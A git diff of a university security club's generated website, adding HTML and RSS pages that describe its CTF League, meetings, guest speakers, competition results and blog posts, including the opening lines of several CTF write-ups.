[channel rules](https://docs.google.com/document/d/11rS6Fb5jSCxDWK6nkoBpvlEZNebMGWVOymWltXXcri0/edit). - diff --git a/static/ctf-league.jpg b/ctf-league.jpg similarity index 100% rename from static/ctf-league.jpg rename to ctf-league.jpg diff --git a/ctf-league/index.html b/ctf-league/index.html new file mode 100644 index 0000000..0e22db5 --- /dev/null +++ b/ctf-league/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

CTF League

CTF League logo, starring a beaver with a lock

Overview

The OSUSEC CTF League is a great way for anyone interested in cybersecurity to develop their offensive security skills and get into playing CTF with the OSUSEC team!

CTF League is a year-long competition that runs similar to a standard capture the flag event, with new challenges released every week. Each week, players compete to solve timed challenges intended to teach web, application, and cryptographic security tactics and prepare players for CTF competitions that OSU competes in as a club.

CTF League is open to any member of the club, and teams will be formed to be balanced and promote healthy competition that will spur learning. Points will be gathered through challenge completion, and winners will be assessed based upon these points.

Through competing in CTF League, each player receives points in accordance with their completion of challenges. These are tracked on our scoreboard.

Prizes

OSU players are eligible to win prizes! The top ten players will receive custom OSUSEC sweatshirts, and the top 3 players will choose from a selection of prizes, including:

  • Raspberry Pi 4 Kit
  • Wifi Pineapple
  • Rubber Ducky USB
  • Bose QuietComfort 35 Headphones
  • Flipper Zero
  • (More prizes tba)

Meeting Times & Dates

CTF League dates for each respective term will be posted on the Discord below as they are decided.

Join CTF League!

Join us on Discord! https://discord.gg/RUPbjz3bGZ

\ No newline at end of file diff --git a/ctf-league_logo.png b/ctf-league_logo.png new file mode 100644 index 0000000..2344cd7 Binary files /dev/null and b/ctf-league_logo.png differ diff --git a/data/.gitkeep b/data/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/static/favicon.ico b/favicon.ico similarity index 100% rename from static/favicon.ico rename to favicon.ico diff --git a/static/home.jpg b/home.jpg similarity index 100% rename from static/home.jpg rename to home.jpg diff --git a/home/blurb/competitions/index.html b/home/blurb/competitions/index.html new file mode 100644 index 0000000..dc5c764 --- /dev/null +++ b/home/blurb/competitions/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Competitions

Competitions

Tags

Our competition team (OSUSEC) competes in multiple Capture The Flag and Cyber Defense Competitions throughout the year.

\ No newline at end of file diff --git a/home/blurb/ctf-meetings/index.html b/home/blurb/ctf-meetings/index.html new file mode 100644 index 0000000..0e0d73d --- /dev/null +++ b/home/blurb/ctf-meetings/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

CTF Meetings

CTF Meetings

Tags

OSUSEC meets regularly to play, discuss, and learn Capture The Flag. When there’s not a global pandemic, we meet in KEC. When there is, we make do on Discord.

\ No newline at end of file diff --git a/home/blurb/guest-speakers/index.html b/home/blurb/guest-speakers/index.html new file mode 100644 index 0000000..867a29c --- /dev/null +++ b/home/blurb/guest-speakers/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Guest Speakers

Guest Speakers

Tags

We love hosting guest speakers from industry, higher ed, or the public sector to talk to our club. Please email us with the address below if you’d like to speak to our club members!

\ No newline at end of file diff --git a/home/blurb/index.html b/home/blurb/index.html new file mode 100644 index 0000000..a0f23be --- /dev/null +++ b/home/blurb/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Blurbs

Competitions

Our competition team (OSUSEC) competes in multiple Capture The Flag and Cyber Defense Competitions throughout the year.

Read More

Guest Speakers

We love hosting guest speakers from industry, higher ed, or the public sector to talk to our club. Please email us with the address below if you’d like to speak to our club members!

Read More

CTF Meetings

OSUSEC meets regularly to play, discuss, and learn Capture The Flag. When there’s not a global pandemic, we meet in KEC. When there is, we make do on Discord.

Read More

\ No newline at end of file diff --git a/home/blurb/index.xml b/home/blurb/index.xml new file mode 100644 index 0000000..52d7491 --- /dev/null +++ b/home/blurb/index.xml @@ -0,0 +1 @@ +Codestin Search Apphttps://osusec.org/home/blurb/Recent content in Blurbs on OSU Security ClubHugo -- gohugo.ioen-usCodestin Search Apphttps://osusec.org/home/blurb/ctf-meetings/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/home/blurb/ctf-meetings/OSUSEC meets regularly to play, discuss, and learn Capture The Flag. When there’s not a global pandemic, we meet in KEC. When there is, we make do on Discord.Codestin Search Apphttps://osusec.org/home/blurb/guest-speakers/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/home/blurb/guest-speakers/We love hosting guest speakers from industry, higher ed, or the public sector to talk to our club. Please email us with the address below if you’d like to speak to our club members!Codestin Search Apphttps://osusec.org/home/blurb/competitions/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/home/blurb/competitions/Our competition team (OSUSEC) competes in multiple Capture The Flag and Cyber Defense Competitions throughout the year. \ No newline at end of file diff --git a/home/index.html b/home/index.html new file mode 100644 index 0000000..0081a99 --- /dev/null +++ b/home/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Homes

Blurbs

Read More

\ No newline at end of file diff --git a/home/index.xml b/home/index.xml new file mode 100644 index 0000000..cb3dc1e --- /dev/null +++ b/home/index.xml @@ -0,0 +1 @@ +Codestin Search Apphttps://osusec.org/home/Recent content in Homes on OSU Security ClubHugo -- gohugo.ioen-us \ No newline at end of file diff --git a/hugo.yaml b/hugo.yaml deleted file mode 100644 index 676bf84..0000000 --- a/hugo.yaml +++ /dev/null @@ -1,44 +0,0 @@ -baseURL: 'https://osusec.org/' -languageCode: 'en-us' -Title: 'OSU Security Club' - -taxonomies: - category: 'categories' - tag: 'tags' - -menu: - main: - - name: 'Home' - url: '/' - weight: 1 - - name: 'About' - url: '/about/' - weight: 2 - - name: 'Calendar' - url: '/calendar/' - weight: 3 - - name: 'Blog' - url: '/blog/' - weight: 4 - - name: 'CTF League' - url: '/ctf-league/' - weight: 5 - - name: 'Accomplishments' - url: '/accomplishments/' - weight: 6 - - name: 'Resources' - url: '/resources/' - weight: 7 - about: - - name: 'Who We Are' - url: '/about/' - weight: 1 - - name: 'Club Constitution' - url: '/club-constitution/' - weight: 2 - -params: - dateFormat: "Jan 2, 2006" - emailAddr: 'security.club@oregonstate.edu' - fullTitle: 'Oregon State University Security Club' - subTitle: 'Weekly Meetings, Guest Speakers, and CDC/CTF Competitions' diff --git a/index.html b/index.html new file mode 100644 index 0000000..99bf0ff --- /dev/null +++ b/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

Oregon State University Security Club

Weekly Meetings, Guest Speakers, and CDC/CTF Competitions

+
CTF Meetings

OSUSEC meets regularly to play, discuss, and learn Capture The Flag. When there’s not a global pandemic, we meet in KEC. When there is, we make do on Discord.

Guest Speakers

We love hosting guest speakers from industry, higher ed, or the public sector to talk to our club. Please email us with the address below if you’d like to speak to our club members!

Competitions

Our competition team (OSUSEC) competes in multiple Capture The Flag and Cyber Defense Competitions throughout the year.

Latest Blogposts

Members of OSUSEC’s CDC Team holding the travelling trophy

PRCCDC 2024

We are delighted to announce that OSUSEC’s Cyber Defense team won first place in PRCCDC 2024 last week!! This is our third year in a row, and we’re really looking forward to competing in …

Read More

The EFF logo printed on an illustrated lighthouse in a background of blue.

Electronic Frontier Alliance

As OSUSEC moves into 2024 and beyond, we are taking a closer look at how our actions shape the world around us. Because of this, we are choosing to endorse the Electronic Frontier Alliance’s …

Read More

How I Approach pwn Challenges

The below write-up was posted in our internal CTF League discord server. Replicated here for posterity.

Generally, my process for a pwn challenge is:

1. Recon

  • Figure out what kind of program …

Read More

\ No newline at end of file diff --git a/index.xml b/index.xml new file mode 100644 index 0000000..b1c9115 --- /dev/null +++ b/index.xml @@ -0,0 +1,249 @@ +Codestin Search Apphttps://osusec.org/Recent content on OSU Security ClubHugo -- gohugo.ioen-usTue, 02 Apr 2024 08:41:08 -0700Codestin Search Apphttps://osusec.org/home/blurb/ctf-meetings/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/home/blurb/ctf-meetings/OSUSEC meets regularly to play, discuss, and learn Capture The Flag. When there’s not a global pandemic, we meet in KEC. When there is, we make do on Discord.Codestin Search Apphttps://osusec.org/home/blurb/guest-speakers/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/home/blurb/guest-speakers/We love hosting guest speakers from industry, higher ed, or the public sector to talk to our club. Please email us with the address below if you’d like to speak to our club members!Codestin Search Apphttps://osusec.org/home/blurb/competitions/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/home/blurb/competitions/Our competition team (OSUSEC) competes in multiple Capture The Flag and Cyber Defense Competitions throughout the year.Codestin Search Apphttps://osusec.org/blog/prccdc-2024/Tue, 02 Apr 2024 08:41:08 -0700https://osusec.org/blog/prccdc-2024/We are delighted to announce that OSUSEC&rsquo;s Cyber Defense team won first place in PRCCDC 2024 last week!! This is our third year in a row, and we&rsquo;re really looking forward to competing in Nationals in San Antonio later this month. We are excited to continue to represent OSU cybersecurity for another year! +CCDC requires us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors.Codestin Search Apphttps://osusec.org/blog/electronic_frontier_alliance/Sun, 03 Mar 2024 19:05:41 -0800https://osusec.org/blog/electronic_frontier_alliance/As OSUSEC moves into 2024 and beyond, we are taking a closer look at how our actions shape the world around us. Because of this, we are choosing to endorse the Electronic Frontier Alliance&rsquo;s five core principles: +Free Expression Security Privacy Creativity Access to Knowledge We believe that advances in technology, and specifically cybersecurity, can be a critical tool in making people&rsquo;s lives better. But in equal measure, it can be a tool to stifle the human spirit.Codestin Search Apphttps://osusec.org/blog/jonathans-workflow/Wed, 24 Jan 2024 22:25:26 -0700https://osusec.org/blog/jonathans-workflow/The below write-up was posted in our internal CTF League discord server. Replicated here for posterity. +Generally, my process for a pwn challenge is: +1. Recon Figure out what kind of program you&rsquo;re dealing with &ndash; run file to see what kind of binary it is, maybe checksec to see what kind of security measures it has, figure out how to get it to run on your system Run the program a few times as a user, just so you can be familiar with what it does.Codestin Search Apphttps://osusec.org/blog/meeting-11-08-23/Thu, 09 Nov 2023 10:10:33 -0800https://osusec.org/blog/meeting-11-08-23/Ni Haowdy members! +Last night, we had our first lockpicking meeting of the school year! Zane led us through an introduction to lockpicking and the various locks we have. Lockpicking is a great outlet for puzzle-solving as well as a practical tool if you are ever locked out of our apartment :) +We will continue to have lockpicking meetings throughout the year, so keep an eye out for the next one!Codestin Search Apphttps://osusec.org/blog/cyberforce-2023/Tue, 07 Nov 2023 10:10:16 -0800https://osusec.org/blog/cyberforce-2023/Last weekend, OSUSEC&rsquo;s cyberdefense team flew out to Chicago to compete in the Department of Energy&rsquo;s Cyberforce Competition! For 4 out of 6 members of the team, this was their very first time in a cyberdefense competition, and they absolutely rocked it! The team trained on Industrial Control Systems, system administration, and incident response in preparation, and came away with 15th out of 95 teams! +Thank you for everyone who helped put on Cyberforce.Codestin Search Apphttps://osusec.org/blog/meeting-11-01-23/Thu, 02 Nov 2023 10:10:30 -0800https://osusec.org/blog/meeting-11-01-23/Happy start of winter, members! +Last night, we held a working party for the NSA Codebreaker Challenge! Lucas introduced each of the tasks and discussed the rewards for high-achievers and solvers. Lucas also showcased some of the challenge coins available from other competitions that we have participated and placed in. The Challenge is a great opportunity for beginners and skilled hackers alike; the tasks steadily increase in difficulty and are a fantastic way to learn something new!Codestin Search Apphttps://osusec.org/blog/wwt-red-team/Tue, 31 Oct 2023 10:10:45 -0800https://osusec.org/blog/wwt-red-team/Last Thursday, we entered two teams into WWT&rsquo;s red team CyberRange! The competition tasked us with breaking into the infrastructure of a fake ransomware group. Aside from an engaging and topical theme, it gave us a chance to put our offensive skills to the test as we exploited Windows machines, achieved remote code execution via PHP, pivoted around their environment, and lost our sanity to DNS. +Our teams were able to bring home 2nd and 4th place out of 18 teams total, with several other universities competing.Codestin Search Apphttps://osusec.org/blog/armis-workshop/Sun, 29 Oct 2023 09:54:35 -0700https://osusec.org/blog/armis-workshop/Last Friday night, we were very fortunate to host Terry Boedeker of Armis to discuss IoT security in preparation for Cyberforce next weekend! +He talked about the importance of cyber-physical security and guided us through a hands-on lab with Armis&rsquo; flagship SIEM, tracing exploit attempts and hidden devices on the demo network. It was super valuable and everyone really enjoyed getting to hear this unique industry perspective! We had 28 students come out and participate, and great informal conversations afterward!Codestin Search Apphttps://osusec.org/blog/meeting-10-25-23/Thu, 26 Oct 2023 20:11:05 -0700https://osusec.org/blog/meeting-10-25-23/Good Thursday, members! +Last night we got to hear from Isabel Boona from Battelle! She presented on her work in reverse-engineering microchips, and how her previous work in materials science helped her transition into this unique line of work! This work is especially important when verifying that systems have been built without unintentional bugs and malicious backdoors. +Battelle is one of the largest non-profits dedicated to research in the United States, and manages many of the National Laboratories on behalf of the Department of Energy, as well as doing Top Secret contract work with the federal government.Codestin Search Apphttps://osusec.org/blog/meeting-10-18-23/Thu, 19 Oct 2023 12:04:17 -0700https://osusec.org/blog/meeting-10-18-23/Ni Haowdy! +Last night, we hosted Dr. Kelsey Fulton of the Colorado School of Mines. They talked about their research into the why and the how that software developers introduce security vulnerabilities into their code, and some potential solutions for it. We had some great conversations about the attitudes in software development spaces and how we might be able to change that for the future. Please reach out to Dr. Fulton if you are interested in working with them on further research!Codestin Search Apphttps://osusec.org/blog/meeting-10-11-23/Thu, 12 Oct 2023 13:41:15 -0700https://osusec.org/blog/meeting-10-11-23/Howdy hackers! +Last night, we had the fantastic Jonathan Keller give a talk about how he used his pwn skills in order to get a world record in a Tool Assisted Speedrun of Super Metroid! Thank you everyone who showed up :) He discussed the game&rsquo;s internal mechanics, how the exploit works, and his experience developing the real-world exploit as a cybersecurity student and as someone who enjoys retro games.Codestin Search Apphttps://osusec.org/blog/meeting-10-04-23/Thu, 05 Oct 2023 14:44:22 -0700https://osusec.org/blog/meeting-10-04-23/Howdy hackers! +Thanks for showing up last night, and staying flexible with us! I know we weren&rsquo;t able to host the meeting we wanted at the last minute, but hopefully you got to enjoy some memes, learn about the club, and possibly pick a lock for the first time! We hope to see you again in more meetings throughout the term. Please feel free to reach out to any officer if you have questions or need help!Codestin Search Apphttps://osusec.org/blog/wwt-blue-team/Mon, 02 Oct 2023 17:24:37 -0700https://osusec.org/blog/wwt-blue-team/Last Thursday, OSUSEC assembled a team of 4 students to compete in WWT&rsquo;s fantastic blue team CyberRange! We had a ton of fun and are very proud to announce that we placed 3rd, going up against a mixture of teams including those from federal agencies &amp; Fortune 500 companies! We played from 3pm to 3am the next morning, all in one shot. The crash afterwards was not pleasant but it was still worth it &ndash; incident response and cyber competitions take on a wilder and much more creative tone when it&rsquo;s an odd hour in the morning.Codestin Search Apphttps://osusec.org/blog/nccdc-2023/Thu, 11 May 2023 00:00:00 -0700https://osusec.org/blog/nccdc-2023/The last weekend of April, OSUSEC’s Cyber Defense team competed in NCCDC, the National Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills.Codestin Search Apphttps://osusec.org/blog/2023-2024-osusec-officers-selected/Mon, 24 Apr 2023 00:00:00 -0700https://osusec.org/blog/2023-2024-osusec-officers-selected/This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are your officers for the 2023-2024 academic year: +President: Casey Colley Vice President: Otso Barron Treasurer: Abigail Whittle Lab Manager: Lucas Ball CTF League Coordinator: Zane Othman-Gomez Recruitment and Community Outreach Manager: Julie Weber +Thank you to all who came (or attended on Discord) and took part in democracy!Codestin Search Apphttps://osusec.org/blog/prccdc-2023/Fri, 31 Mar 2023 00:00:00 -0700https://osusec.org/blog/prccdc-2023/This past weekend, OSUSEC’s Cyber Defense team competed in PRCCDC, our regional Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills. OSUSEC walked away with 1st place, and will be attending NCCDC (Nationals) at the end of April!Codestin Search Apphttps://osusec.org/blog/meeting-notes-11-09/Wed, 09 Nov 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-11-09/Howdy hackers! Last night, I covered cybersecurity in software development. I talked about how you can incorporate security into each stage of the Software Development Lifecycle, some examples of how that has gone wrong in real life software projects, and the different mitigations that have come about in an effort to control memory corruption attacks (an example of improper input handling). +The slides for the meeting are available here (ONID required): https://docs.Codestin Search Apphttps://osusec.org/blog/cyberforce-competition-2022/Tue, 08 Nov 2022 00:00:00 -0700https://osusec.org/blog/cyberforce-competition-2022/This past weekend, OSUSEC’s Cyberdefense Competition team flew out to Chicago, IL to compete in the Department of Energy’s Cyberforce Competition! We were tasked with securing and administering a network of 6 virtual machines, then defending it against a team of hackers. Cyberforce also tests students’ abilities to budget their time and respond to miscellaneous requests from managers relating to the NIST framework for cybersecurity. We brought home 10th place out of 169 teams, and placed 1st place for team style 😎Codestin Search Apphttps://osusec.org/blog/meeting-notes-11-02/Wed, 02 Nov 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-11-02/Howdy hackers! Welcome to the second half of Fall term! Tonight we hosted NetSPI: Senior Director Karl Fosaaen and Security Consultant (and former club member) Michael Jereza. They walked us through penetration testing as a career, what work is like at NetSPI, their NetSPI University program, and some entertaining stories from their pentesting work! We hope you had fun and walked away with an enthusiasm for pentesting. If you enjoyed this, definitely think about getting involved with our CPTC team!Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-19/Wed, 19 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-19/Howdy hackers! Hope your week 4 is going well. Tonight Cameron introduced Reversed Engineering (“Rev”) challenges and how to pwn them. Rev and pwn challenges are a staple of CTF competitions, and we covered a few of the most critical tools in your arsenal for approaching them. We also walked you through an introductory pwn challenge called rev01 that is hosted on our CTF Practice Range. We hope you were able to walk away with some new skills.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-12/Wed, 12 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-12/Howdy hackers! Thanks to everyone who showed up tonight! Tonight we introduced the NSA Codebreaker Challenge, and held a work party. Hopefully you were able to make some progress on Tasks in a focused environment and get free dinner! We covered previous year’s Codebreaker themes, the NSA’s mission and how that inspires the Challenge, and introduced the different tools that the NSA recommends to approach the Challenge with. +The slides for the meeting are available here (ONID required): https://docs.Codestin Search Apphttps://osusec.org/blog/bsidespdx-2022/Sat, 08 Oct 2022 00:00:00 -0700https://osusec.org/blog/bsidespdx-2022/Howdy Hackers! This Friday, a group of OSUSEC members took a day trip up to Portland to attend BSidesPDX 2022 and compete in their CTF. We had an absolute blast, winning first place in the CTF, attending many interesting talks, and making some new friends! We became known as the team competing in the closet, as the CTF team set up fort in a nearby maintenance closet instead of the official CTF room.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-05/Wed, 05 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-05/Howdy hackers! Thanks to everyone who showed up, and we hope it was enjoyable and informative! Tonight we introduced Cyber Defense Competitions. We covered some of the skills and areas you would learn by playing in a CDC, what makes them fun, and the career advantages of getting involved in them! +The slides for the meeting are available here: [https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html]https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html +Wish the Cyberforce team luck on November 4th-5th, and be sure to keep an eye out for an announcement about PRCCDC tryouts in mid-late November!Codestin Search Apphttps://osusec.org/blog/meeting-notes-9-28/Wed, 28 Sep 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-9-28/Howdy hackers! Thanks to everyone who showed up to the first meeting and we hope it was fun and informative!! Tonight we helped break in the new year for the club, and many people walked away from the meeting with new OSUSEC swag that they didn’t realize they were going to get! +Overall, we talked about the history and mission of OSUSEC, the various competitions we’re involved in, the events we hold, getting a CTF environment set up, some memes, and more!Codestin Search Apphttps://osusec.org/blog/2022-2023-osusec-officers-decided/Wed, 13 Apr 2022 00:00:00 -0700https://osusec.org/blog/2022-2023-osusec-officers-decided/The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023. +President: Cameron McCawley Vice President: Casey Colley Treasurer: Mike Carris Lab Manager: Lucas Ball CTF League Coordinator: Allen Benjamin Recruitment Officer: Brandon Ellis (Interim) Community Manager: Gabriel Kulp +Thanks to everyone who participated!Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-23/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-23/Thank you to everyone who attended tonight’s meeting! We introduced several different CTF categories and what challenges usually look like within those categories. Then, we went over some of the challenges on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/23/2022 Slides +Later this week, we have this event coming up: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term).Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-9/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-9/Thank you to everyone who attended tonight’s meeting! We chatted some more about reverse engineering, discussing the stack layout, function preambles and local variables on the stack. We introduced the rev02 challenge on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/9/2022 Slides +We have an interesting event coming up later this week: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term).Codestin Search Apphttps://osusec.org/blog/meeting-notes-3-2/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-3-2/Thank you to everyone who attended tonight’s meeting! We talked about what Wargames are, what their value is, and what some good starter wargames are to play. +The slides for the meeting are available here (ONID Login Required): 3/2/2022 Slides +Later this week, we have this event coming up: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term). Elastic will be hosting a mini-CTF for us on Friday, it will be an awesome chance to learn about Elastic and win some prizes!Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-2/Wed, 02 Feb 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-2/Thank you to everyone who attended tonight’s meeting! We chatted about reverse engineering and binary exploitation (pwn) tools and how to use them, and I demonstrated how to solve the rev01 challenge on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/2/2022 Slides +There are some interesting upcoming events which all club members are welcome at: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term), we will have an awesome, real-world challenge for you to solve.Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-26/Wed, 26 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-26/Thank you to everyone who attended! This meeting covered an introduction to reverse engineering on x86 64-bit. We covered some key differences between x86 and x86-64, then we examined how typical control flows are compiled to assembly based on the C source code. +Here are the slides (requires ONID login): Google Slides for 1/26/2021 +The binary and C code that we looked at during tonight’s talk are posted on GitHub.Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-19/Wed, 19 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-19/Thank you to everyone who attended! This meeting covered a presentation called “CS271 for Pwning”, an introduction to assembly and shellcoding with a focus on the useful aspects to pwning / binary exploitation. +Here are the slides (requires ONID login): Google Slides for 1/19/2021 +The next meeting this week is for CTF League on Friday 1/21/2021 @ 6:00pm – 8:00pm, virtually (on Discord).Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-12/Wed, 12 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-12/Thank you to everyone who attended! This meeting covered the solutions to all NSA Codebreaker 2021 Tasks. I hope everyone enjoyed, questions can always be tossed into the #nsacc-21 channel. +Here are the slides (requires ONID login): Google Slides for 1/12/2021 +The next meeting this week is for CTF League on Friday 1/14/2021 @ 6:00pm – 8:00pm, virtually (on Discord).Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-challenge-2021/Wed, 05 Jan 2022 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-challenge-2021/On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and OSUSEC members solved all 11. +Some more statistics about the competition are below: +Confirmed Public Participants: 5,465 Schools Registered: 631 Task Completions: Task 0: 3,335 Task 1: 2,352 Task 2: 1,385 Task 3: 1,098 Task 4: 778 Task 5: 688 Task 6: 418 Task 7: 196 Task 8: 56 Task 9: 55 Task 10: 42 PCAP Downloads: 3,650 This was a great effort from our team over the course of several months.Codestin Search Apphttps://osusec.org/blog/doe-cyberforce-competition-2021/Sun, 21 Nov 2021 00:00:00 -0700https://osusec.org/blog/doe-cyberforce-competition-2021/On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition (https://cyberforcecompetition.com/) out of the 135 teams registered for the competition. +The team roster was: +Casey Colley (Captain) Mike Carris Robert Detjens Brandon Ellis Huy Nguyen Lyell Read The final scoreboard was as follows, if a link to an official final scoreboard is made available, I will link it here.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-27/Wed, 27 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-27/Thank you to everyone who attended! This meeting covered an introduction to NSA Codebreaker Challenge, including some common tools and strategies used to solve challenges 0-6. +Here are the slides (requires ONID login): Google Slides for 10/27/2021 +The next couple meetings will be as follows: +CTF League on Friday 10/29/2021 @ 6:00pm – 8:00pm in KEC 1003. We will be having pizza outside the room first (likely outside or in the atrium – see the CTF League Discord), followed by breaking up into teams and playing this week’s OSINT challenge by Cameron!Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-6/Wed, 06 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-6/Thank you to all the members that attended this meeting! We covered lockpicking basics, legality and ethics, before Ryan presented a live demonstration of picking a lock. Then, each table had a selection of locks of increasing difficulty and tools to try to pick them with. +Here are the slides (requires ONID login): Google Slides for 10/6/2021 +Next week (week of 10/11) we have two meetings: +Talk by NetSPI about NetSPI U on Wednesday 10/13/2021 @ 6:00pm – 7:00pm.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-1/Fri, 01 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-1/Thank you to everyone for coming to our first meeting this year! We had well over our expected 70 people in attendance. We introduced OSUSEC, what we do, how our Discord server works, as well as some ethics. We introduced members to Capture The Flag, and we delved into the first CTF League challenge of the year, a web challenge! +Here are the slides (requires ONID login): Google Slides for 10/1/2021Codestin Search Apphttps://osusec.org/blog/2021-2022-osusec-officers-decided/Sat, 24 Apr 2021 00:00:00 -0700https://osusec.org/blog/2021-2022-osusec-officers-decided/For the coming school year, we welcome in 8 officers, in the following positions: +President: Lyell Read Vice President: Zach Taylor Treasurer: Mike Carris Lab Manager: Cameron McCawley Community Manager: Christa Wright Recruitment: Brandon Ellis CTF League Coordinator: Allen Benjamin Graphic Designer: Sierra Freihoefer This year is the first year that the posts of Recruitment Officer, CTF League Coordinator, and Community Manager were officially up for grabs. All three were positions that were voted in during the past year by the current officers, to respond to needs for these roles.Codestin Search Apphttps://osusec.org/blog/0x41414141-ctf-0x414141/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/blog/0x41414141-ctf-0x414141/Prompt I think offshift promised to opensource some of their code +author: notforsale +Solution First off, we navigate to the offshift-dev github account, linked from the offshift site. Unfortunately, nothing there. Searching google for “offshift github” brings us to a different github with a single suspicious repository. This has two commits, one where files are uploaded, and one in which the _pycache_ folder is deleted. That folder sounds interesting, so we clone the repository, and checkout the commit where the files were added:Codestin Search Apphttps://osusec.org/blog/crowdstrike-adversary-quest-much-sad/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/blog/crowdstrike-adversary-quest-much-sad/Prompt We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom note, is there any way for you to gather more information about the adversary’s online presence? +NOTE: Flags will be easily identifiable by following the format CS{some_secret_flag_text}. They must be submitted in full, including the CS{ and } parts.Codestin Search Apphttps://osusec.org/blog/bsidespdx-down-the-rabbit-hole/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-down-the-rabbit-hole/Prompt Category: Over The Air +297 Points +5 Solves +During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman wearing some sort of face mask and there were strange tones. The tones were familiar and rang a bell, but I couldn’t quite put my finger on them. I don’t know what these things mean, but maybe you can figure it out.Codestin Search Apphttps://osusec.org/blog/bsidespdx-please-stand-by/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-please-stand-by/Prompt Category: Over The Air +263 Points +14 Solves +Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in the transmission. +twitch.tv/over_the_air +Author(s): 0xdade &amp; fdcarl +Solution This challenge is about the “Please Stand By” screen, presumably. Let’s start by looking there. This screen is displayed during the first 2:09 of the twitch stream(recording)Codestin Search Apphttps://osusec.org/blog/bsidespdx-xclusive-numborz/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-xclusive-numborz/Prompt Category: Over The Air +290 Points +8 Solves +I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to me but I couldn’t understand what she was saying. Can you figure it out? There’s no space for mistakes, and no room for questions. +twitch.tv/over_the_air +Author(s): 0xdade &amp; fdcarl +Solution The first challenge was easy, but this one is a little trickier.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-docs/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-docs/EkoParty CTF 2020 Git 2 +Prompt Exact prompt has been forgotten. Linked to this GitHub repo +Solution As I mentioned in the writeup for leak, I was in a very githubby mindset when I started this challenge. For that reason, I solved this challenge first. +A 